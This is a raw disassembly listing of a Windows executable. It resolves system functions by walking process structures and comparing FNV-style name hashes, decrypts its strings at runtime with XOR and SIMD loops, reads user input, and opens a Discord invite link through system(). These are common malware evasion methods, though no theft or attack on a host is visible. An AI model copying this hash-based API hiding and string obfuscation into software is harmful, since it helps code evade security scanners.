cmp rdi, r10
je 0x140038016
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140038016
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xbc44ab26
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140038011
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140037ff0
cmp r8d, 0xed109a77
je 0x14003801b
test r9d, r9d
jne 0x140037fd0
mov rax, qword [rax]
jmp 0x140037fa0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, r14d
mov edx, 0xfffffff0
mov rcx, r13
call r9
mov rcx, qword [0x140060ef0]
call fcn.140016870
mov rcx, qword [0x140060ef0]
call fcn.140016a90
movups xmm0, xmmword [0x14004e718]
movups xmmword [rbp + 0x3e8], xmm0
movups xmm1, xmmword [0x14004e728]
movups xmmword [rbp + 0x3f8], xmm1
movzx eax, word [0x14004e738]
mov word [rbp + 0x408], ax
movzx eax, byte [0x14004e73a]
mov byte [rbp + 0x40a], al
mov r8d, r15d
mov r14d, dword [0x14005f018]
mov r12d, 4
lea r13d, [r12 + 0x1b]
cmp r14d, 2
jl 0x1400381f3
movdqa xmm5, xmmword [0x140058c70]
movdqa xmm4, xmmword [0x140058d50]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140058c90]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140058d20]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x3ec]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400380f0
cmp r8d, 0x23
jge 0x140038230
movsxd rax, r8d
lea r9, [rbp + 0x3e8]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140038200
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xb10]
call fcn.140029060
nop
lea rax, [rbp + 0x3e8]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140038250
lea rdx, [rbp + 0x3e8]
lea rcx, [rbp + 0xb10]
call fcn.140029080
nop
xor r8d, r8d
lea rdx, [rbp + 0xb10]
lea rcx, [rbp + 0xd50]
call fcn.140042960
nop
lea rcx, [rbp + 0xd50]
call fcn.14002a700
movzx ebx, al
lea rcx, [rbp + 0xd50]
call fcn.140029d80
nop
lea rcx, [rbp + 0xb10]
call fcn.1400286f0
test bl, bl
je 0x140038549
lea rax, [rbp + 0xad0]
mov qword [rbp - 0x28], rax
movups xmm0, xmmword [0x14004f338]
movups xmmword [rbp + 0x40], xmm0
movzx eax, byte [0x14004f348]
mov byte [rbp + 0x50], al
mov r8d, r15d
cmp r14d, 2
jl 0x140038423
movdqa xmm5, xmmword [0x140058c70]
movdqa xmm4, xmmword [0x140058d50]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140058c90]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140058d20]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x44]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140038320
cmp r8d, 0x11
jge 0x140038460
movsxd rax, r8d
lea r9, [rbp + 0x40]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140038430
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xad0]
call fcn.140029060
nop
lea rax, [rbp + 0x40]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140038476
mov r8, rsi
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xad0]
call fcn.140029080
nop
lea rcx, [rbp + 0xad0]
call fcn.14002a820
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140038526
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140038526
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x89c7f1c9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140038521
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140038500
cmp r8d, 0xed56786c
je 0x14003852b
test r9d, r9d
jne 0x1400384e0
mov rax, qword [rax]
jmp 0x1400384b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
mov ecx, 0x5dc
jmp 0x140038e84
lea rax, [rbp + 0xab0]
mov qword [rbp - 0x28], rax
mov eax, dword [0x14004f840]
mov dword [rsp + 0x68], eax
movzx eax, word [0x14004f844]
mov word [rsp + 0x6c], ax
mov byte [rsp + 0x68], 0x4b
xor byte [rsp + 0x69], 0x3a
xor byte [rsp + 0x6a], 0x3b
xor byte [rsp + 0x6b], 0x3c
xor al, 0x3d
mov byte [rsp + 0x6c], al
xor byte [rsp + 0x6d], 0x3e
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xab0]
call fcn.140029060
nop
lea rax, [rsp + 0x68]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400385a3
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xab0]
call fcn.140029080
nop
lea rcx, [rbp + 0xab0]
call fcn.14002a820
lea rdx, [0x140060448]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400429c0
mov eax, dword [0x1400501c0]
mov dword [rsp + 0x70], eax
movzx eax, byte [0x1400501c4]
mov byte [rsp + 0x70], 0x46
xor byte [rsp + 0x71], 0x3a
xor byte [rsp + 0x72], 0x3b
xor byte [rsp + 0x73], 0x3c
xor al, 0x3d
mov byte [rsp + 0x74], al
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xa70]
call fcn.140029060
nop
lea rax, [rsp + 0x70]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140038623
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0xa70]
call fcn.140029080
nop
lea rdx, [rbp + 0xa70]
lea rcx, [0x140060448]
call fcn.1400433b0
movzx ebx, al
lea rcx, [rbp + 0xa70]
call fcn.1400286f0
test bl, bl
je 0x140038bc8
lea rax, [rbp + 0xaf0]
mov qword [rbp - 0x28], rax
movsd xmm0, qword [str.jOX_XMLaA]
movsd qword [rsp + 0x78], xmm0
movzx eax, byte [0x14004f8a0]
mov byte [rsp + 0x78], 0x53
xor byte [rsp + 0x79], 0x3a
xor byte [rsp + 0x7a], 0x3b
xor byte [rsp + 0x7b], 0x3c
xor byte [rsp + 0x7c], 0x3d
xor byte [rsp + 0x7d], 0x3e
xor byte [rsp + 0x7e], 0x3f
xor byte [rsp + 0x7f], 0x40
xor al, 0x41
mov byte [rbp - 0x80], al
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xaf0]
call fcn.140029060
nop
lea rax, [rsp + 0x78]
nop dword [rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400386d0
mov r8, rsi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0xaf0]
call fcn.140029080
nop
lea rcx, [rbp + 0xaf0]
call fcn.14002abb0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140038786
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140038786
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xbda280ee
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140038781
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140038760
cmp r8d, 0xc24b5931
je 0x14003878b
test r9d, r9d
jne 0x140038740
mov rax, qword [rax]
jmp 0x140038710
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x5dc
call rdx
mov eax, dword [str.ZVH_]
mov dword [rbp - 0x70], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140038846
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140038846
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x918f29ed
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140038841
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140038820
cmp r8d, 0x726ad384
je 0x14003884b
test r9d, r9d
jne 0x140038800
mov rax, qword [rax]
jmp 0x1400387d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r14d, 2
jl 0x1400388f3
movdqa xmm3, xmmword [0x140058c70]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140058d50]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140058d50]
shufps xmm2, xmm0, 0xdd
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140058c90]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140058d20]
movd xmm0, dword [rbp - 0x70]
xorps xmm2, xmm0
movd dword [rbp - 0x70], xmm2
jmp 0x140038930
lea r9, [rbp - 0x70]
mov r8d, r15d
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140038900
lea rcx, [rbp - 0x70]
call r11
lea rcx, str.start__https:__discord.gg_z1k_on_top
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xf60]
call sub.VCRUNTIME140.dll_memset
mov edx, 1
lea rcx, [rbp + 0xf60]
call fcn.1400422f0
nop
movups xmm0, xmmword [0x14004e718]
movups xmmword [rbp + 0x6a0], xmm0
movups xmm1, xmmword [0x14004e728]
movups xmmword [rbp + 0x6b0], xmm1
movzx eax, word [0x14004e738]
mov word [rbp + 0x6c0], ax
movzx eax, byte [0x14004e73a]
mov byte [rbp + 0x6c2], al
mov r8d, r15d
cmp r14d, 2
jl 0x140038af3
movdqa xmm5, xmmword [0x140058c70]
movdqa xmm4, xmmword [0x140058d50]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140058c90]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140058d20]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x6a4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400389f0
cmp r8d, 0x23
jge 0x140038b30
movsxd rax, r8d
lea r9, [rbp + 0x6a0]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140038b00
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0xf60]
call fcn.140042240
lea rdx, [0x140060448]
lea rcx, [rbp + 0xf60]
call fcn.140042ca0
lea rcx, [rbp + 0xf60]
call fcn.140042200
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rbp + 0xef8]
call qword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
mov dword [rbp + 0xefc], r15d
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rbp + 0xef8]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
nop
lea rcx, [rbp + 0x1008]
call fcn.140042290
lea rcx, [rbp + 0x1008]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x140038e90
lea rax, [rbp + 0xa90]
mov qword [rbp - 0x28], rax
movups xmm0, xmmword [str.nHTRZ]
movups xmmword [rbp + 0x410], xmm0
movups xmm1, xmmword [0x14004ff48]
movups xmmword [rbp + 0x420], xmm1
mov eax, dword [0x14004ff58]
mov dword [rbp + 0x430], eax
movzx eax, byte [0x14004ff5c]
mov byte [rbp + 0x434], al
mov r8d, r15d
cmp r14d, 2
jl 0x140038d53
movdqa xmm5, xmmword [0x140058c70]
movdqa xmm4, xmmword [0x140058d50]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140058c90]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140058d20]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x414]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140038c50
cmp r8d, 0x25
jge 0x140038d90
movsxd rax, r8d
lea r9, [rbp + 0x410]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x140038d60
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xa90]
call fcn.140029060
nop
lea rax, [rbp + 0x410]
nop dword [rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140038db0
mov r8, rsi
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0xa90]
call fcn.140029080
nop
lea rcx, [rbp + 0xa90]
call fcn.14002af40
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140038e66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140038e66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x1a04413b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140038e61
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140038e40
cmp r8d, 0x8227ea9e
je 0x140038e6b
test r9d, r9d
jne 0x140038e20
mov rax, qword [rax]
jmp 0x140038df0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
mov ecx, 0xffffffff
add rdx, r10
call rdx
nop dword [rax]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140038f26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140038f26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0xcaececc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140038f21
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140038f00
cmp r8d, 0x6f76e815
je 0x140038f2b
test r9d, r9d
jne 0x140038ee0
mov rcx, qword [rcx]
jmp 0x140038eb0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, r12d
mov rcx, rsi
call r8
mov eax, dword [str.ZVH_]
mov dword [rbp - 0x6c], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140038fe6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140038fe6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xc4b45acd
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140038fe1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140038fc0
cmp r8d, 0x12c96f64
je 0x140038feb
test r9d, r9d
jne 0x140038fa0
mov rax, qword [rax]
jmp 0x140038f70
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r14d, 2
jl 0x140039093
movdqa xmm3, xmmword [0x140058c70]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140058d50]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140058d50]
shufps xmm2, xmm0, 0xdd
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140058c90]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140058d20]
movd xmm0, dword [rbp - 0x6c]
xorps xmm2, xmm0
movd dword [rbp - 0x6c], xmm2
jmp 0x1400390d0
lea r9, [rbp - 0x6c]
mov r8d, r15d
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400390a0
lea rcx, [rbp - 0x6c]
call r11
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rax, qword [str.3016745_mhwvws_fam]
mov qword [rbp - 0x50], rax
cmp byte [0x14004ef77], 0
je 0x140039240
cmp r14d, 2
jl 0x1400391fe
movdqa xmm4, xmmword [0x140058d50]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x140058c70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140058c90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
mov eax, dword [0x140058d20]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x50]
xorps xmm2, xmm1
movd dword [rbp - 0x50], xmm2
movdqa xmm3, xmmword [0x140058c80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140058c90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x4c]
xorps xmm2, xmm1
movd dword [rbp - 0x4c], xmm2
jmp 0x140039240
